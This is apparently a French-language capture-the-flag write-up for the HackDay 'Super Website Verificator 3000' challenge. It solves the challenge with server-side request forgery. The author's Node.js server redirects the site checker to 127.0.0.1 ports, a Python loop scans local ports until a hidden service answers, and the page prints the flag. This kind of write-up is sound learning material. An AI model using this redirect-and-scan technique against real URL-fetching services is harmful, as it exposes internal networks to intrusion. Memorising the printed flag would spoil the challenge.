Super Website Verificator 3000

Flag: HACKDAY{Give_ME_YOuR_L0OPb@CK}

Challenge

Description


Our team of brilliant engineers has developed a highly sophisticated website designed to perform check-ups on other sites. It can even uncover hidden information, possibly concealed by some clever tricksters. Take a look and see if you can find anything!


The problem with the 169.254 subnet was fixed, it was a security issue with the infrastructure.

http://challenges.hackday.fr:43244

Solution

Pour faire ce challenge, je dispose d'un VPS accessible via http://thaysan.com:5000. Des outils en ligne existent surement pour faire la même chose.

Dans ce challenge, on ne peut pas taper directement sur le localhost. Ce qu'on peut faire, c'est l'envoyer vers un site qui va le rediriger sur le localhost.

Il faut scanner les ports locaux pour trouver là où un autre service tourne. Pour cela, notre serveur web va le rediriger sur localhost:1, puis à la prochaine requête reçue, sur localhost:2, et ainsi de suite.

Voici le code NodeJS sur serveur sur le VPS :

const express = require('express')
const app = express()
const port = 5000

app.get('/', (req, res) => {
  const port_to_redirect = req.query.port ?? 1
  console.log(`[+] Trying ${port_to_redirect}`)
  res.redirect(`http://127.0.0.1:${port_to_redirect}`)
})

app.listen(port, () => {
  console.log(`Example app listening on port ${port}`)
})

Et maintenant, le code Python pour automatiser la demander de checkup sur le challenge :

import requests

URL = 'http://challenges.hackday.fr:43244'


for port in range(590, 2**16):
  response = requests.post(f'{URL}/api/check', data={
    'url': f'http://thaysan.com:5000?port={port}',
    'showBody': 'on'
  }).json()

  if response['online']:
    print(f'[+] Service détecté sur le port {port}')
    print(response['body'])
    break
  print(f'[x] {port}')
[x] 590
[x] 591
[x] 592
[x] 593
[x] 594
[x] 595
[x] 596
[x] 597
[x] 598
[x] 599
[+] Service détecté sur le port 600
How did you find this? Here is your flag: HACKDAY{Give_ME_YOuR_L0OPb@CK}

Dernière mise à jour

Cet article vous a-t-il été utile ?